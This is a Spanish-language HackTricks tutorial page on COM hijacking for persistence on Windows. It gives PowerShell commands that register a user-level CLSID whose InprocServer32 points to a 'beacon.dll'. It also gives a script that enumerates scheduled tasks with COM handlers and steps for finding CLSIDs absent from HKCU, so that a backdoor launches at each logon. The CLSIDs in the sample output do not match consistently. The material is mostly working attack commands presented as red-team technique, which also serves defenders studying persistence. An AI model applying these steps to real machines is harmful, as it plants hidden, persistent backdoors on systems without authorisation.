5.5 KiB
Secuestro de COM
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
Buscando componentes COM inexistentes
Dado que los valores de HKCU pueden ser modificados por los usuarios, el Secuestro de COM podría utilizarse como mecanismos de persistencia. Usando procmon
es fácil encontrar registros COM buscados que no existen y que un atacante podría crear para persistir. Filtros:
- Operaciones de RegOpenKey.
- donde el Resultado es NAME NOT FOUND.
- y la Ruta termina con InprocServer32.
Una vez que hayas decidido qué COM inexistente impersonar, ejecuta los siguientes comandos. Ten cuidado si decides impersonar un COM que se carga cada pocos segundos, ya que eso podría ser excesivo.
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
Componentes COM del Programador de Tareas que se pueden secuestrar
Las Tareas de Windows en realidad utilizan Disparadores Personalizados para llamar a objetos COM. Y debido a que se ejecutan a través del Programador de Tareas, es más fácil predecir cuándo se van a activar.
# Mostrar CLSIDs de COM
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Nombre de la Tarea: " $Task.TaskName
Write-Host "Ruta de la Tarea: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}
# Ejemplo de Salida:
# Nombre de la Tarea: Ejemplo
# Ruta de la Tarea: \Microsoft\Windows\Ejemplo\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [más como el anterior...]
Revisando la salida puedes seleccionar uno que se va a ejecutar cada vez que un usuario inicie sesión por ejemplo.
Ahora buscando el CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} en HKEY_CLASSES_ROOT\CLSID y en HKLM y HKCU, usualmente encontrarás que el valor no existe en HKCU.
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
Name Property
---- --------
InprocServer32 (default) : C:\Windows\system32\some.dll
ThreadingModel : Both
# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
Name Property
---- --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Entonces, puedes simplemente crear la entrada HKCU y cada vez que el usuario inicie sesión, tu puerta trasera se activará.
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.